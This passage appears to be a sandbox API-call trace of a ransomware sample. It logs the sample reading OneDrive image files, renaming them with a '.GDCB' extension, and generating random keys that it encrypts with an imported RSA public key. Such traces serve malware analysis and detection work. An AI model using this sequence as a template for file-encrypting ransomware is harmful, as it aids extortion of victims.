dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0182.144] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5720000 [0182.145] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5730000 [0182.146] ReadFile (in: hFile=0x518, lpBuffer=0x5730000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5730000*, lpNumberOfBytesRead=0x285d160*=0x123, lpOverlapped=0x0) returned 1 [0182.155] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0x5840000 [0182.177] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder.svg.gdcb")) returned 0 [0182.180] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0182.181] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.182] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.182] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.182] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.182] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0182.183] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.184] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.184] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.184] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.184] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0182.186] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2d388) returned 1 [0182.186] CryptGetKeyParam (in: hKey=0x4f2d388, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.186] CryptEncrypt (in: hKey=0x4f2d388, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5700000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5700000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.186] GetLastError () returned 0x0 [0182.186] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.186] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0182.188] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2d3c8) returned 1 [0182.188] CryptGetKeyParam (in: hKey=0x4f2d3c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.188] CryptEncrypt (in: hKey=0x4f2d3c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5710000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5710000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.188] GetLastError () returned 0x0 [0182.188] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.188] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder_image_desktop.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder_image_desktop.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.188] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0182.190] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.190] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.190] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.190] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.190] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0182.191] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.192] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.192] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.192] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.192] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0182.194] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b748) returned 1 [0182.194] CryptGetKeyParam (in: hKey=0x4f2b748, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.194] CryptEncrypt (in: hKey=0x4f2b748, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5720000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5720000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.194] GetLastError () returned 0x0 [0182.194] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.194] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.196] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2bc48) returned 1 [0182.196] CryptGetKeyParam (in: hKey=0x4f2bc48, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.196] CryptEncrypt (in: hKey=0x4f2bc48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5730000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5730000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.196] GetLastError () returned 0x0 [0182.197] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.197] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder_image_documents.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder_image_documents.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.197] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0182.198] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.199] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.199] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.199] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.199] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0182.200] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.201] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.201] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.201] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.201] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0182.203] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b948) returned 1 [0182.203] CryptGetKeyParam (in: hKey=0x4f2b948, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.203] CryptEncrypt (in: hKey=0x4f2b948, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5740000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5740000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.203] GetLastError () returned 0x0 [0182.203] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.203] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0182.205] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b708) returned 1 [0182.205] CryptGetKeyParam (in: hKey=0x4f2b708, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.205] CryptEncrypt (in: hKey=0x4f2b708, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5750000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5750000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.205] GetLastError () returned 0x0 [0182.205] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.205] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder_image_pictures.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder_image_pictures.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.205] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0182.207] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.207] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.207] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.207] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.207] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0182.208] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.209] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.209] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.209] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.209] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0182.211] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b5c8) returned 1 [0182.211] CryptGetKeyParam (in: hKey=0x4f2b5c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.211] CryptEncrypt (in: hKey=0x4f2b5c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5760000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5760000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.212] GetLastError () returned 0x0 [0182.212] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.212] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0182.213] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b608) returned 1 [0182.214] CryptGetKeyParam (in: hKey=0x4f2b608, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.214] CryptEncrypt (in: hKey=0x4f2b608, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5770000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5770000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.214] GetLastError () returned 0x0 [0182.214] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.214] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\iceBucket.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\icebucket.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.216] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0182.218] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.219] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.219] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.219] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0182.219] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0182.220] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.220] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.220] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.220] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.221] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.222] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b808) returned 1 [0182.223] CryptGetKeyParam (in: hKey=0x4f2b808, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.223] CryptEncrypt (in: hKey=0x4f2b808, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5780000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5780000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.223] GetLastError () returned 0x0 [0182.223] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.223] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0182.225] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b648) returned 1 [0182.225] CryptGetKeyParam (in: hKey=0x4f2b648, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.225] CryptEncrypt (in: hKey=0x4f2b648, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5790000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5790000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.225] GetLastError () returned 0x0 [0182.225] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.225] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\loading.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\loading.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0182.227] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x57a0000 [0182.228] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x57b0000 [0182.229] ReadFile (in: hFile=0x518, lpBuffer=0x57b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x57b0000*, lpNumberOfBytesRead=0x285d160*=0x2ce, lpOverlapped=0x0) returned 1 [0182.239] VirtualAlloc (lpAddress=0x0, dwSize=0x2d0, flAllocationType=0x3000, flProtect=0x4) returned 0x58c0000 [0182.244] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\loading.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\loading.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\loading.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\loading.svg.gdcb")) returned 0 [0182.247] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0182.248] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.249] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.249] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.249] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.249] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0182.251] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.251] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.251] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.251] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.251] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.254] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b688) returned 1 [0182.254] CryptGetKeyParam (in: hKey=0x4f2b688, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.254] CryptEncrypt (in: hKey=0x4f2b688, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5780000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5780000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.254] GetLastError () returned 0x0 [0182.254] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.254] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0182.256] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b548) returned 1 [0182.256] CryptGetKeyParam (in: hKey=0x4f2b548, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.256] CryptEncrypt (in: hKey=0x4f2b548, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5790000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5790000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.256] GetLastError () returned 0x0 [0182.256] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.256] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\loading_spinner.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\loading_spinner.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.257] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0182.258] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.259] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.259] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.259] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.259] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0182.260] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.261] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.261] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.261] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.261] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0182.263] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b588) returned 1 